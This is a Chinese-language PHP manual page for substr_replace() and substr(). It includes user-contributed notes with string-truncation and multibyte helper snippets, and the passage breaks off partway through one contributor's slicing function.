substr_replace ( mixed $string , mixed $replacement , mixed $start [, mixed $length ] ) : mixed

substr_replace() 在字符串 string 的副本中将由 start 和可选的 length 参数限定的子字符串使用 replacement 进行替换。

参数

string

输入字符串。

An array of strings can be provided, in which case the replacements will occur on each string in turn. In this case, the replacement, start and length parameters may be provided either as scalar values to be applied to each input string in turn, or as arrays, in which case the corresponding array element will be used for each input string.

replacement

替换字符串。

start

如果 start 为正数，替换将从 string 的 start 位置开始。

如果 start 为负数，替换将从 string 的倒数第 start 个位置开始。

length

如果设定了这个参数并且为正数，表示 string 中被替换的子字符串的长度。如果设定为负数，它表示待替换的子字符串结尾处距离 string 末端的字符个数。如果没有提供此参数，那么它默认为 strlen( string ) （字符串的长度）。当然，如果 length 为 0，那么这个函数的功能为将 replacement 插入到 string 的 start 位置处。

返回值

返回结果字符串。如果 string 是个数组，那么也将返回一个数组。

更新日志

版本 | 说明
4.3.3 | All parameters now accept arrays.

范例

Example #1 substr_replace() 范例

<?php
$var = 'ABCDEFGH:/MNRPQR/';
echo "Original: $var<hr />\n";

/* 这两个例子使用 "bob" 替换整个 $var。*/
echo substr_replace($var, 'bob', 0) . "<br />\n";
echo substr_replace($var, 'bob', 0, strlen($var)) . "<br />\n";

/* 将 "bob" 插入到 $var 的开头处。*/
echo substr_replace($var, 'bob', 0, 0) . "<br />\n";

/* 下面两个例子使用 "bob" 替换 $var 中的 "MNRPQR"。*/
echo substr_replace($var, 'bob', 10, -1) . "<br />\n";
echo substr_replace($var, 'bob', -7, -1) . "<br />\n";

/* 从 $var 中删除 "MNRPQR"。*/
echo substr_replace($var, '', 10, -1) . "<br />\n";
?>

Example #2 Using substr_replace() to replace multiple strings at once

<?php
$input = array('A: XXX', 'B: XXX', 'C: XXX');

// A simple case: replace XXX in each string with YYY.
echo implode('; ', substr_replace($input, 'YYY', 3, 3))."\n";

// A more complicated case where each replacement is different.
$replace = array('AAA', 'BBB', 'CCC');
echo implode('; ', substr_replace($input, $replace, 3, 3))."\n";

// Replace a different number of characters each time.
$length = array(1, 2, 3);
echo implode('; ', substr_replace($input, $replace, 3, $length))."\n";
?>

以上例程会输出：

A: YYY; B: YYY; C: YYY
A: AAA; B: BBB; C: CCC
A: AAAXX; B: BBBX; C: CCC

注释

Note: 此函数可安全用于二进制对象。

参见

  • str_replace() - 子字符串替换
  • substr() - 返回字符串的子串
  • 字符串访问与修改

User Contributed Notes

bkline at rksystems dot com 12-Mar-2019 01:21
I imagine the description of the parameters really means "number of bytes" where it says "number of characters" (confirmed by testing).
yeyijelud at amadamus dot com 08-Nov-2018 06:18
First Example can be simplified =>

 $input = array('A: XXX', 'B: XXX', 'C: XXX');

 substr_replace($input, 'YYY', -3);

output: Array ( [0] => A: YYY [1] => B: YYY [2] => C: YYY )
Hayley Watson 26-Sep-2017 12:32
See array_splice if you want to do this sort of thing to an array.
nospam at nospam dot com 21-Jan-2016 09:45
<?php

// shortens a long string to a max length while inserting a string into the exact middle
function strShorten($str, $maxlen = 10, $insert = '/.../') {
  if ($str && !is_array($str)) { // valid string
    if ($maxlen && is_numeric($maxlen) && $maxlen < strlen($str)) { // string needs shortening
      if ($insert && ($ilen = strlen($insert))) { // insert string and length
        if ($ilen >= $maxlen) { // insert string too long so use default insert
          $insert = '**'; // short default so works even when a very small $maxlen
          $ilen = 2;
        }
      }
      $chars = $maxlen - $ilen; // number of $str chars to keep
      $start = ceil($chars/2); // position to start cutting
      $end = floor($chars/2); // position from end to stop cutting
      return substr_replace($str, $insert, $start, -$end); // first.insert.last
    } else { // string already short enough
      return $str; // return original string
    }
  }
}

echo strShorten('123456789', 6, ''); // outputs 123789
echo strShorten('123456789', 6, '-'); // outputs 123-89
echo strShorten('123456789', 6, 'longstring'); // outputs 12**89
echo strShorten('abcdefghijklmnopqrstuvwxyz', 10, '..'); // outputs abcd..wxyz
echo strShorten('abcdefghijklmnopqrstuvwxyz'); // outputs abc/.../yz

?>
olav at schettler dot net 01-Nov-2015 08:12
Please note that the function array_slice(), which has a similar functionality but for arrays rather than for strings, has its parameters in a different order.
ivijan dot stefan at gmail dot com 05-Mar-2014 08:15
I have a little function that works like substr_replace ()  what I use for some purpose. Maybe someone needs it.

<?php
function putinplace($string=NULL, $put=NULL, $position=false)
{
    $d1=$d2=$i=false;
    $d=array(strlen($string), strlen($put));
    if($position > $d[0]) $position=$d[0];
    for($i=$d[0]; $i >= $position; $i--) $string[$i+$d[1]]=$string[$i];
    for($i=0; $i<$d[1]; $i++) $string[$position+$i]=$put[$i];
    return $string;
}

// Explanation
$string='My dog dont love postman'; // string
$put="'"; // put ' on position
$position=10; // number of characters (position)
print_r( putinplace($string, $put, $position) );
?>

RESULT: My dog don't love postman

This is a small powerful function that performs its job flawlessly.
blessador at gmail dot com 18-Jun-2013 08:36
<?php
$price = "12000";
$price = substr_replace ($price, ',', -3, 0)";
?>

ensure to remove the double quot  " at the end of substr_replace ($price, ',', -3, 0)" in the above  code to avoid error.
elloromtz at gmail dot com 17-Apr-2010 11:23
It's worth noting that when start and length are both negative -and- the length is less than or equal to start, the length will have the effect of being set as 0.

<?php
substr_replace('eggs','x',-1,-1); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
substr_replace('eggs','x',-1,-2); //eggxs
?>

Same as:
<?php
substr_replace('eggs','x',-1,0); //eggxs
?>

<?php
substr_replace('huevos','x',-2,-2); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
substr_replace('huevos','x',-2,-3); //huevxos
?>

Same as:
<?php
substr_replace('huevos','x',-2,0); //huevxos
?>

Another note, if length is negative and start offsets the same position as length, length (yet again) will have the effect as being set as 0. (Of course, as mentioned in the manual, when length is negative it actually represents the position before it)

<?php
substr_replace('abcd', 'x', 0, -4); //xabcd
?>

Same as:
<?php
substr_replace('abcd','x',0,0); //xabcd
?>

<?php
substr_replace('abcd', 'x', 1, -3); //axbcd
?>

Same as:
<?php
substr_replace('abcd', 'x', 1, 0); //axbcd
?>
den dot gierling at web dot de 19-Feb-2010 10:32
My problem was that substr_replace() always added $replacement, so i wrote my own function.
This function only adds $replacement, if substr() took action.
The parameter $length is optional - like substr()'s.
Or I was too stupid using $start and $length...

<?php
function substr_replace_provided($string,$replacement,$start,$length=NULL)
{
    $tmp=substr($string,$start,$length);
    if($string!==$tmp) {
        $string = $tmp.$replacement;
    }
    return $string;
}
?>
kalim dot fleet at gmail dot com 10-Oct-2009 09:49
This will truncate a longer string to a smaller string of specified length while replacing the middle portion with a separator exactly in the middle.

<?php

$longString = 'abcdefghijklmnopqrstuvwxyz0123456789z.jpg';
$separator = '/.../';
$separatorlength = strlen($separator) ;
$maxlength = 25 - $separatorlength;
$start = $maxlength / 2 ;
$trunc =  strlen($longString) - $maxlength;

echo substr_replace($longString, $separator, $start, $trunc);

//prints "abcdefghij/.../56789z.jpg"

?>
admiral at nuclearpixel dot com 06-Oct-2009 11:54
Hey everyone, I was noticing that there are a lot of ways below that people are using to write their own string truncation functions, but it kinda seemed like a lot of them went a bit too far out to make any sense to a n00b. Not that I am one anymore, but I though I'd add a note on this topic myself, in hopes that it might help others understand things a little better.

Here's a concept that some people don't know about, or remember to use often enough; You can actually pull individual characters out of a string by referencing that string as though it were an array. Example: If I have the string $s = 'cat', I can use $s[0] to actually get out only the first character of that string, 'c'. I use that same principle below, but I just use a loop to iterate through a string and add the characters to the output variable one by one until the $lenth param has been reached, or until the end of the string.

I hope this can help someone out!

-Admiral Potato

<?php

function admiralsTruncate($string, $length){
    settype($string, 'string');
    settype($length, 'integer');
    for($a = 0; $a < $length AND $a < strlen($string); $a++){
        $output .= $string[$a];
    }
    return($output);
}

$my_string = 'cfcd208495d565ef66e7dff9f98764da';

echo admiralsTruncate($my_string, 6);    // outputs: cfcd20

echo '<br>';

echo admiralsTruncate($my_string, 9);    // outputs: cfcd20849

?>
billg AT microsoft.com 07-Apr-2009 07:31
Forget all of the mb_substr_replace() implementations mentioned in this page, they're all buggy.

Here is a version that mimics the behavior of substr_replace() exactly:

<?php

if (function_exists('mb_substr_replace') === false)
{
    function mb_substr_replace($string, $replacement, $start, $length = null, $encoding = null)
    {
        if (extension_loaded('mbstring') === true)
        {
            $string_length = (is_null($encoding) === true) ? mb_strlen($string) : mb_strlen($string, $encoding);

            if ($start < 0)
            {
                $start = max(0, $string_length + $start);
            }

            else if ($start > $string_length)
            {
                $start = $string_length;
            }

            if ($length < 0)
            {
                $length = max(0, $string_length - $start + $length);
            }

            else if ((is_null($length) === true) || ($length > $string_length))
            {
                $length = $string_length;
            }

            if (($start + $length) > $string_length)
            {
                $length = $string_length - $start;
            }

            if (is_null($encoding) === true)
            {
                return mb_substr($string, 0, $start) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length);
            }

            return mb_substr($string, 0, $start, $encoding) . $replacement . mb_substr($string, $start + $length, $string_length - $start - $length, $encoding);
        }

        return (is_null($length) === true) ? substr_replace($string, $replacement, $start) : substr_replace($string, $replacement, $start, $length);
    }
}

?>
juichenieder-phnet at yahoo dot co dot uk 25-Mar-2009 10:58
I've just taken a look at the post by ntoniazzi and I have a very small correction to make.

In the second if statement, it should be a triple equals, so:

<?php if ($length === null) ?>

It requires the triple equals, for the case of pure insertion, where $length = 0, the double equals, will catch this, causing the string to be cut short.  I hope this helps someone.
NiX0n at fragfest dot cx 09-Oct-2008 09:41
The preemptive test to see if $string is "too long" shouldn't add strlen($replacement) to $max.  $max should represent the absolute maximum length of string returned.  The size of the $replacement is irrelevant in that determination.

The rest of the function (unchanged below) operates as defined above.  Meaning, the size of the $replacement is subtracted from the $max, so that the returned string is exactly the length of $max.

<?php
function truncate($string, $max = 20, $replacement = '')
{
    if (strlen($string) <= $max)
    {
        return $string;
    }
    $leave = $max - strlen ($replacement);
    return substr_replace($string, $replacement, $leave);
}
?>
spcl dot delivery at gmail dot com 27-Jul-2008 04:14
the version of my predecessor will add $rep even if the string is shorter than max. fixed version:

<?php
function truncate($string, $max = 20, $rep = '')
{
    if (strlen($string) <= ($max + strlen($rep)))
    {
        return $string;
    }
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}
?>

To preserve the filename extension you can call it like this:

truncate([filename], 30, '...' . end(explode('.', [filename])))
eblejr AT phrebh DOT com 04-Jun-2008 08:42
PHP version of Java's removeCharAt() function:

<?php
function removeCharAt($str, $int){
  return substr_replace($str,"",$int,1);
}
?>
William Barry 23-Apr-2008 12:18
I recently ran across a situation where I need to strip a heavily nested html list such that only the top level was preserved.  I started with a regular expression solution, but found that I kept matching the wrong closing ul with an outer opening ul.

This was my alternative solution, and it seems to work well:

<?php

function stripNestedLists($str)
{
    $str2 = $str;
    $lastStr = $str2;

    do
    {
        // Find the first closing ul
        $cul = strpos($str2, '</ul>');
        $ul = 0;
        $lastUL = 0;
        do
        {
            // Find the next opening ul
            $lastUL = $ul;
            $ul = strpos($str2, '<ul', $ul+1);
        }
        while ($ul !== false && $ul < $cul);

        $lastStr = $str2;
        $str2 = substr_replace($str2, '', $lastUL, $cul-$lastUL+5);
        $str2 = trim($str2);
    }
    while (strlen($str2) > 0);

    return $lastStr;
}

?>

Hope this helps someone.
jaimthorn at yahoo dot com 25-Mar-2008 10:53
I recently needed a routine that would remove the characters in one string from another, like the regex

<?php
   $result = preg_replace("/[$chars]/", "", $string);
?>

and I needed it to be fast, and accept pretty much all input.  The regex above won't work when strlen($chars) == 0.  I came up with this, admittedly pretty horrible-looking code, that is quite fast:

<?php

function RemoveChars($string, $chars)
{
    return isset($chars{0}) ? str_replace($chars{0}, "", strtr($string, $chars, str_pad($chars{0}, strlen($chars), $chars{0}))) : $string;
}

?>

According to my own measurements, the regex in ONLY faster for when strlen($chars) == 1; for longer strings, my routine is faster.  What does it do?  Let's say you want to remove the period, the comma and the exclamation mark from a string, like so:
$result = RemoveChars("Isn't this, like, totally neat..!?", ".?!");
The str_pad function creates a string equal in length to the string that contains the character to be removed, but consisting only of the first character of that string:
The input is ".,!"
The output is "..."
The strtr function translates all characters in the string-to-be-processed ("Isn't this...") that also occur in the input (".,!") to the characters in the same position in the output ("...").  In other words:
Isn't this, like, totally neat..!?
becomes
Isn't this. like. totally neat....
Finally, the first character from the input (".,!") which happens to be, again, the period, is removed from that string by the str_replace call:
Isn't this like totally neat?
The function needs to check is $chars has at least one character, or else the str_pad function will fail.  If it's empty, then the unprocessed string is returned.
ntoniazzi at sqli dot com 14-Feb-2008 01:07
Almost... In the previous note, change this :
<?php
    function mb_substr_replace($string, $replacement, $start, $length=null, $encoding=null) {
        if ($encoding == null) $encoding = mb_internal_encoding();
        if($start < 0) $start = mb_strlen($string) + $start;
    [...]
?>
alishahnovin at hotmail dot com 07-Aug-2007 12:56
I like the truncate function below...however, I found a few issues. Particularly if you have content that may have any kind of punctuation in it (?, !, ?!?, --, ..., .., ;, etc.)

The older function would end up looking like "blah blah?..." or "blah blah,..." which doesn't look so nice to me...

Here's my fix. It removes all trailing punctuation (that you include in the $punctuation string below) and then adds an ellipse. So even if it has an ellipse with 3 dots, 2 dots, 4 dots, it'll be removed, then re-added.

<?php
function truncate($text,$numb,$etc = "...") {
$text = html_entity_decode($text, ENT_QUOTES);
if (strlen($text) > $numb) {
$text = substr($text, 0, $numb);
$text = substr($text,0,strrpos($text," "));

$punctuation = ".!?:;,-"; //punctuation you want removed

$text = (strspn(strrev($text),  $punctuation)!=0)
        ?
        substr($text, 0, -strspn(strrev($text),  $punctuation))
        :
$text;

$text = $text.$etc;
}
$text = htmlentities($text, ENT_QUOTES);
return $text;
}
?>

I also needed a sort of "middle" truncate. The above function truncates around the end, but if you want to truncate around the middle (ie "Hello this is a long string." --> "Hello this ... long string.") you can use this (requires the truncate function):

<?php
function mtruncate($text, $numb, $etc = " ... ") {
    $first_part = truncate(truncate($text, strlen($text)/2, ""), $numb/2, "");
    $second_part = truncate(strrev(truncate(strrev($text), strlen($text)/2, "")), $numb/2, "");
    return $first_part.$etc.$second_part;
}
?>
chuayw2000 at hotmail dot com 09-Dec-2005 03:33
I don't know if this function is multibyte safe but I've written a function that will do the same in multibyte mode.

<?php
//Check to see if it exists in case PHP has this function later
if (!function_exists("mb_substr_replace")){
   //Same parameters as substr_replace with the extra encoding parameter.
    function mb_substr_replace($string,$replacement,$start,$length=null,$encoding = null){
        if ($encoding == null){
            if ($length == null){
                return mb_substr($string,0,$start).$replacement;
            }
            else{
                return mb_substr($string,0,$start).$replacement.mb_substr($string,$start + $length);
            }
        }
        else{
            if ($length == null){
                return mb_substr($string,0,$start,$encoding).$replacement;
            }
            else{
                return mb_substr($string,0,$start,$encoding). $replacement. mb_substr($string,$start + $length,mb_strlen($string,$encoding),$encoding);
            }
        }
    }
}
?>
hermes at andycostell dot com 27-Aug-2005 11:48
I suggest changing the function suggested by Guru Evi slightly. I found that it doesn't work as written here.

Original:
function add_3dots($string,$repl,$start,$limit) {
   if(strlen($string) > $limit) {
       return substr_replace(strip_tags($string),$repl,$start,$limit);
   } else {
       return $string;
   };
};

I suggest:
function add_3dots($string,$repl,$limit) {
       if(strlen($string) > $limit) {
           return substr_replace(strip_tags($string),$repl,$limit-strlen($repl));
       } else {
           return $string;
       }
    }

Usage:

$max_length=10;//the max number of characters you want to display
$too_long_string="BLAH BLAH BLAH BLAH BLAH etc.";//the string you want to shorten (if it's longer than the $limit)
$shorter_string=add_3_dots($too_long_string,"...",$max_length);
Guru Evi 13-Jul-2005 12:44
If your string is not long enough to meet what you specify in start and length then the replacement string is added towards the end of the string.

I wanted to replace the end of the string with ... if the string was too long to display (for instance article preview on a website). The problem was that my string was sometimes not that long and it still added the replacement string. So I wrote a function to replace substr_replace in my website:

function add_3dots($string,$repl,$start,$limit) {
    if(strlen($string) > $limit) {
        return substr_replace(strip_tags($string),$repl,$start,$limit);
    } else {
        return $string;
    };
};

I use strip_tags to strip out the HTML otherwise you might get a screwed up HTML (when a tags open in the string, but because you cut-off it doesn't)
danieldoorduin at hotmail dot com 10-Dec-2004 02:48
Using substr_replace() can be avoided by using substr() instead:

<?
$string = substr($string, 0, $position_needle).$replace.substr($string, $position_needle+$length_needle);
?>

This can be useful when you need to replace parts of multibyte strings like strings encoded with utf-8. There isn't a multibute variant for substr_replace(), but for php substr() there is mb_substr(). For more information on multibyte strings see http://nl3.php.net/manual/en/ref.mbstring.php
dmron 17-Jun-2004 04:34
Regarding "...", even the short functions are too long and complicated, and there's no need to use substr_replace. substr() works better and is  way faster prior to 4.3.5 as the below poster stated.

function shorten( $str, $num = 100 ) {
  if( strlen( $str ) > $num ) $str = substr( $str, 0, $num ) . "...";
  return $str;
}
tony at outshine dot com 10-May-2004 02:25
The comment by geniusdex is a good one.  Short, simple functions are the best.  But if the string is not longer than the limit set, NOTHING is returned.  Here is the function re-done to always return a string:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        $str = substr_replace($str, $dots, $len - $dotlen);
    }
    return $str;
}
?>
geniusdex ( at ) brz ( dot ) nu 23-Feb-2004 07:33
This is my version of making dotted strings:

<?php
function dot($str, $len, $dots = "...") {
    if (strlen($str) > $len) {
        $dotlen = strlen($dots);
        substr_replace($str, $dots, $len - $dotlen);
    }
}
?>
Thijs Wijnmaalen (thijs[at]nllinux.nl) 20-Jan-2004 11:05
I wrote a function that you can use for example in combination with a search script to cut off the articles that are too long.

<?php
function substr_index($text, $maxChars = 20, $splitter
= '...') {

$theReturn = $text;
$lastSpace = false;

if (strlen($text) > $maxChars) {
$theReturn = substr($text, 0, $maxChars - 1);

if (in_array(substr($text, $maxChars - 1, 1),
array(' ', '.', '!', '?'))) {
$theReturn .= substr($text, $maxChars, 1);
} else {
$theReturn = substr($theReturn, 0, $maxChars -
strlen($splitter));
$lastSpace = strrpos($theReturn, ' ');

if ($lastSpace !== false) {
$theReturn = substr($theReturn, 0, $lastSpace);
}

if (in_array(substr($theReturn, -1, 1), array(','))) {
$theReturn = substr($theReturn, 0, -1);
}
$theReturn .= $splitter;
}
}
return $theReturn;
}
?>
david at ethinkn dot com 05-Jul-2003 05:36
Here is a simple function to shorten a string and add an ellipsis

<?php

/**
 * truncate() Simple function to shorten a string and add an ellipsis
 *
 * @param string $string Origonal string
 * @param integer $max Maximum length
 * @param string $rep Replace with... (Default = '' - No elipsis -)
 * @return string
 * @author David Duong
 **/
function truncate ($string, $max = 50, $rep = '') {
    $leave = $max - strlen ($rep);
    return substr_replace($string, $rep, $leave);
}

echo truncate ('akfhslakdhglksjdgh', 10, '...');
// Returns akfhsla... (10 chrs)

?>
thomasNOSPAM at sportentranceNOSPAM dot com 08-Oct-2002 03:01
To abbreviate links into '...' if they outreach a certain amount of space; use the preg_replace function instead.

For instance you grabbed the headlines of a news site for use on your own page and the lines are to long:

asuming the raw material is stored in $unedited;

$edited = preg_replace("/(>)([[:print:]]{52,})(<)/e", "'\\1'.substr_replace('\\2 ', '...', '48').'\\3'", $unedited);
echo $edited;

This will shorten strings longer than 52 characters into 51 characters, with the last being three dots...
klaas at group94 dot com 13-Feb-2002 10:38
THE DOT DOT DOT ISSUE

PROBLEM:
You want to abbreviate a string.
E.g. You want "BritneySpears" to show as "BritneySpe...", being only the ten first characters followed by "..."

SOLUTION:
<?
$oRIGINAL = "BritneySpears";
$sHORTER = substr_replace($oRIGINAL, '...', 10);
echo ($sHORTER);
?>

This will result in BritneySpe...
28-Sep-2001 08:30
If you would like to remove characters from the start or end of a string, try the substr() function.

For example, to remove the last three characters from a string:
$string = "To be or not to be.";
$string = substr ($string, 0, -3);
mrbrown8 at juno dot com 16-Apr-2001 12:16
Just to add to the examples, if replacement is longer than length, only the length number of chars are removed from string and all of replacement is put in its place, and therefor strlen($string) is inreased.

$var = 'ABCDEFGH:/MNRPQR/';
/*  Should return ABCDEFGH:/testingRPQR/   */
echo substr_replace ($var, 'testing', 10, 2);


返回字符串的子串

  • ? substr_replace
  • trim ?
  • PHP Manual
  • 字符串 函数
  • 返回字符串的子串

substr

(PHP 4, PHP 5, PHP 7)

substr — 返回字符串的子串

说明

substr ( string $string , int $start [, int $length ] ) : string

返回字符串 string 由 start 和 length 参数指定的子字符串。

参数

string

输入字符串。必须至少有一个字符。

start

如果 start 是非负数，返回的字符串将从 string 的 start 位置开始，从 0 开始计算。例如，在字符串 "abcdef" 中，在位置 0 的字符是 "a"，位置 2 的字符串是 "c" 等等。

如果 start 是负数，返回的字符串将从 string 结尾处向前数第 start 个字符开始。

如果 string 的长度小于 start，将返回 FALSE。

Example #1 使用负数 start

<?php
$rest = substr("abcdef", -1);    // 返回 "f"
$rest = substr("abcdef", -2);    // 返回 "ef"
$rest = substr("abcdef", -3, 1); // 返回 "d"
?>

length

如果提供了正数的 length，返回的字符串将从 start 处开始最多包括 length 个字符（取决于 string 的长度）。

如果提供了负数的 length，那么 string 末尾处的 length 个字符将会被省略（若 start 是负数则从字符串尾部算起）。如果 start 不在这段文本中，那么将返回 FALSE。

如果提供了值为 0，FALSE 或 NULL 的 length，那么将返回一个空字符串。

如果没有提供 length，返回的子字符串将从 start 位置开始直到字符串结尾。

Example #2 使用负数 length

<?php
$rest = substr("abcdef", 0, -1);  // 返回 "abcde"
$rest = substr("abcdef", 2, -1);  // 返回 "cde"
$rest = substr("abcdef", 4, -4);  // 返回 ""
$rest = substr("abcdef", -3, -1); // 返回 "de"
?>

返回值

返回提取的子字符串， 或者在失败时返回 FALSE。

更新日志

版本 | 说明
7.0.0 | 如果 string 的字符串长度与 start 相同时将返回一个空字符串。在之前的版本中，这种情况将返回 FALSE 。
5.2.2 - 5.2.6 | If the start parameter indicates the position of a negative truncation or beyond, false is returned. Other versions get the string from start.

范例

Example #3 substr() 基本用法

<?php
echo substr('abcdef', 1);     // bcdef
echo substr('abcdef', 1, 3);  // bcd
echo substr('abcdef', 0, 4);  // abcd
echo substr('abcdef', 0, 8);  // abcdef
echo substr('abcdef', -1, 1); // f

// 访问字符串中的单个字符
// 也可以使用中括号
$string = 'abcdef';
echo $string[0];                 // a
echo $string[3];                 // d
echo $string[strlen($string)-1]; // f
?>

Example #4 substr() casting behaviour

<?php
class apple {
    public function __toString() {
        return "green";
    }
}

echo "1) ".var_export(substr("pear", 0, 2), true).PHP_EOL;
echo "2) ".var_export(substr(54321, 0, 2), true).PHP_EOL;
echo "3) ".var_export(substr(new apple(), 0, 2), true).PHP_EOL;
echo "4) ".var_export(substr(true, 0, 1), true).PHP_EOL;
echo "5) ".var_export(substr(false, 0, 1), true).PHP_EOL;
echo "6) ".var_export(substr("", 0, 1), true).PHP_EOL;
echo "7) ".var_export(substr(1.2e3, 0, 4), true).PHP_EOL;
?>

Output of the above example in PHP 7:

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) false
6) false
7) '1200'

Output of the above example in PHP 5:

1) 'pe'
2) '54'
3) 'gr'
4) '1'
5) false
6) false
7) '1200'

错误／异常

错误时返回 FALSE。

<?php
var_dump(substr('a', 2)); // bool(false)
?>

参见

  • strrchr() - 查找指定字符在字符串中的最后一次出现
  • substr_replace() - 替换字符串的子串
  • preg_match() - 执行匹配正则表达式
  • trim() - 去除字符串首尾处的空白字符（或者其他字符）
  • mb_substr() - 获取部分字符串
  • wordwrap() - 打断字符串为指定数量的字串
  • 字符串访问和修改

User Contributed Notes

Anonymous 15-Nov-2017 01:17
Be aware of a slight inconsistency between substr and mb_substr

mb_substr("", 4);      returns empty string

substr("", 4);              returns boolean false

tested in PHP 7.1.11 (Fedora 26) and PHP 5.4.16 (CentOS 7.4)
kleeh at bellsouth dot net 09-May-2017 05:34
If I may, I'd like to add an example for a bit more clarification on the action of substr(). There's a note saying "If string is equal to start characters long, an empty string will be returned. Prior to this version, FALSE was returned in this case. ".
That description puzzled me until I worked it out. So, if your string is "x" and you do 'substr("x",0, 1)' then you'll get "x" as expected. Same thing for substr("x",0,4)' or any other LENGTH parm. But if the START parm is equal to the LENGTH of the string, then you'll get an empty string (PHP 7) or FALSE (prior to PHP 7). An example of this would be 'substr("x", 1, 1)' , which would return either an empty string or FALSE. Because your "x", which has a LENGTH of '1', is in the 0th position, so 'starting' your substr request at position 1 results in the empty string (or FALSE) because there is nothing after your "x" in this example. Just trying to mitigate some head-scratching over the phrasing of the previous note.
m.m.j.kronenburg 06-Sep-2016 10:46
<?php

/**
  * Returns and extracts the portion of string specified by the
  * start and length parameters from the original string.
  *
  * This function is simulair to function substr() except that it
  * removes the substring from the orignal string
  * (passed by reference).
  *
  * @param string $string      The input string.
  * @param integer $start      The start position (see substr() for
  *                            explanation).
  * @param integer $length     The length (see substr()
  *                            for explanation).
  * @return mixed              The substring or FALSE (see substr()
  *                            for explanation).
  **/
function substrex(&$string, $start, $length = PHP_INT_MAX)
{
  if($start > strlen($string)) { return false; }
  if(empty($length))           { return ''; }
  if($start < 0) { $start = max(0, $start + strlen($string)); }
  $end = ($length < 0) ?
    strlen($string) + $length :
    min(strlen($string), $start + $length);
  if($end < $start) { return false; }
  $length = $end - $start;
  $substr = substr($string, $start, $length);
  $string = substr($string, 0, $start).substr($string, $end);
  return $substr;
}

?>
Anonymous 27-Aug-2014 10:14
substr() exhibits rather unexpected behavior with respect to when it returns "" and when it returns FALSE.  Specifically, the following appears to hold (tested on PHP 5.4.19):

*  if $string is "", it always returns FALSE

*  if ($start >= 0) and ($start >= strlen($string)) it returns FALSE

*  if ($start >= 0) and ($length<($start - strlen($string))) it returns FALSE

*  if ($start < 0) then it returns FALSE if *and only if* $length<-strlen($string).

No other cases return FALSE.
Note that in the last case, the position indicated by $start doesn't actually matter!

Also worth noting is that if you supply a $start that is < -strlen($string), it will be treated exactly as if you had set $start = strlen($string).

Here are some test cases to illustrate this behavior:

substr("",0,0) === FALSE
substr("",0,4) === FALSE
substr("",-2,4) === FALSE

substr("abc",3,0) === FALSE
substr("abc",3,10) === FALSE
substr("abc",3,-1) === FALSE
substr("abc",0,-4) === FALSE
substr("abc",2,-2) === FALSE
substr("abc",-1,-4) === FALSE
substr("abc",-4,-4) === FALSE
substr("abc",-5,-4) === FALSE
substr("abc",-10,-5) === FALSE

substr("abc",-10,-2) === "a"
substr("abc",-1,-3) === ""
substr("abc",-1,-2) === ""
substr("abc",-2,-3) === ""
substr("abc",0,0) === ""
substr("abc",-3,0) === ""
substr("abc",-10,0) === ""
substr("abc",-3,4) === "abc"
substr("abc",-10,20) === "abc"
substr("abc",-2,-2) === ""
substr("abc",-2,1) === "b"
substr("abc",0,-3) === ""
substr("abc",2,-1) === ""
Nadeem 03-Jun-2014 08:16
Truncate a float number. Similar to the Excel trunc function.

<?php
function truncate_number($val,$decimals=2){

        $number=array();
        $number=explode(".",$val);
        $result=0;

        if (count($number)>1){

            $result = $number[0] . "." . substr($number[1],0,$decimals);

        } else {

            $result = $val;

        }

        unset($number);

        return $result;
}

echo truncate_number(99.123456,2); //result = 99.12
echo truncate_number(99.123456,5); //result = 99.12345
echo truncate_number(99.123456,1); //result = 99.1
?>
php at richardneill dot org 06-Apr-2014 03:25
Frequently we want to check whether one string ends with (or starts with) another.  These may be useful:

function str_ends($string,$end){
    return (substr($string,-strlen($end),strlen($end)) === $end);
}
function str_begins($string,$start){
    return (substr($string,0,strlen($start)) === $start);
}

Example:
if (str_ends ($filename, ".jpg")){
   echo "The extension is .jpg";
}
koczkahun at gmail dot com 17-Mar-2014 05:34
For those who cannot use mb_substr for any reasons, here is a solution for Unicode strings:

function substr_unicode($str, $s, $l = null)
{
    $r = '/^.{'.(int)$s.'}(.';
    $r .= ($l === null) ? '*)$' : '{'.(int)$l.'})';
    $r .= '/su';
    preg_match($r, $str, $o); return $o[1];
}

It is EXTREMELY fast compared to the array_slice + join method suggested before, and moderately slower than mb_substr.

Note: you cannot use negative values.
Note 2: use mb_substr whenever you can. Only use this workaround if you can not use the library.
fatihmertdogancan at hotmail dot com 26-Jan-2014 08:28
[English]
I created python similar accesing list or string with php substr & strrev functions.

Use: str($string,$pattern)

About the python pattern,
http://docs.python.org/release/1.5.1p1/tut/strings.html
http://effbot.org/zone/python-list.htm

About of pattern structures
[start:stop:step]

Example,
<?php
$s = "fatihmertdogancan";
echo str($s,"1:9:-2");
echo "<br/>";
echo str($s,"1:-3:-2");
echo "<br/>";
echo str($s,"1:-11:-5");
echo "<br/>";
echo str($s,"1:9:4");
?>

Output,
thetoacn
eht
aom
htan

This is function phpfiddle link: http://phpfiddle.org/main/code/e82-y5d

or source;

<?php
    function str($str,$pattern){
        //[start:stop:step]
        //pattern ->            ([-]?[0-9]*|\s):([-]?[0-9]*|\s):([-]?[0-9]*|\s)
        preg_match("/([-]?[0-9]*|\s?):([-]?[0-9]*|\s?):?([-]?[0-9]*|\s?)/", $pattern, $yakala);
        $start = $yakala[1];
        $stop = $yakala[2];
        $step = $yakala[3];

        if(empty($start) && empty($stop) && $step == "-1"){//istisna durum
            return strrev($str);
        }else if(empty($start) && empty($stop) && isset($step)){//istisna durum
            $rev = "";
            $yeni = "";
            if($step[0] == "-" && $stop != "-1"){$rev = "VAR";}
            $atla = abs($step);
            for($i = 0; $i <= strlen($str); $i++){
                $offset = $i*$atla;
                if(isset($str[$offset])){
                    $yeni = $yeni.$str[$offset];
                }
            }
            if($rev != "VAR"){
                return substr($yeni,0,strlen($str)-1);
                //"hepsi bo?, step dolu o da +";
            }else{
                return strrev(substr($yeni,0,strlen($str)-1));
                //"hepsi bo?, step dolu o da -";
            }
        }

        if(empty($start) && empty($stop) && empty($step)){
            return $str;
            //"hepsi bo?";
        }else if(empty($start)){
            if(isset($stop) && empty($step)){
                $rev = "";
                if($stop[0] == "-"){$rev = "VAR";}
                if($rev != "VAR"){
                    return substr($str,0,$stop);
                    //"start ve step bo?, stop dolu"
                }else{
                    return strrev(substr($str,0,$stop));
                    //"start ve step bo?, stop -1";
                }
